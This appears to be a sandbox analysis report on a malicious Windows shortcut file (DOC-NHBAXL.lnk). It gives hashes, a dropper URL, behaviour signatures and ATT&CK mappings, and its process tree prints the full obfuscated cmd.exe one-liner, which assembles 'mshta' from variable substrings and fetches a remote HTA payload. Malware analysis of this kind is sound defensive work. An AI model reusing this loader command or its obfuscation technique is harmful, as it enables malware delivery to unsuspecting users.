f4c5bae9ce3ae005b744ba993ce54c34fe9644d1a1c6dc3d04ae85f5fa832495

Analysis

max time kernel
40s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 17:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-NHBAXL.lnk
Size 2KB
Sample260803-wd7wlsxtcy
SHA256 f4c5bae9ce3ae005b744ba993ce54c34fe9644d1a1c6dc3d04ae85f5fa832495
MD5 54223a3f3dbe1faedd6c47d609ae7e8a
SHA1 f96fc138240173f4e84296055e47de6596911840
SHA512 d72c82350e474f0cce434f60b905ee2c023eb583bc02d8cdaba74c82bb1c1bc177c0d7150fc673737fcff750710fb445352837effa27037f5a9b286d0e1e55e2
TLSH
T1AB414B903AED00A4F3FF8E76EDFA2B14597F78624DA1D58D0990804D1432F06D977B26
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1324	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1324 wrote to memory of 4600	1324	cmd.exe	90
PID 4600 wrote to memory of 4084	4600	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NHBAXL.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1324
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set smu=inftfitejaldinf&&set Zv=tmpacxyjfuuppozbiqtmp&&set wt=infrlpizzauamptxinf&&set Uib=infxpcnwuwreinf&&set YX=cacheyazjndljzcache&&set Jf=cachezoeezptorcamkorkjhcache&&set FpcFd=cfgptfxxmzklfphhrgcfg&&set XAzf=netixrwmwluhlqdusnet&&set us=4jm3&&set XQmf=wsu&&set fetIb=2dhtatb&&set VvNP=1sta5w&&set xmf=lrs&&set iY=wtv&&set NIjC=bakjjyseoszajplxprstbak&&set oH=h@t@t@p@s:/@/ma-@pdf@fil@[email protected]@at/@h/e@[email protected]@?@r=39146@9@FB5D8@2D@B&&start /b !us:~2,1!!XQmf:~1,1!!fetIb:~2,3! !oH:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads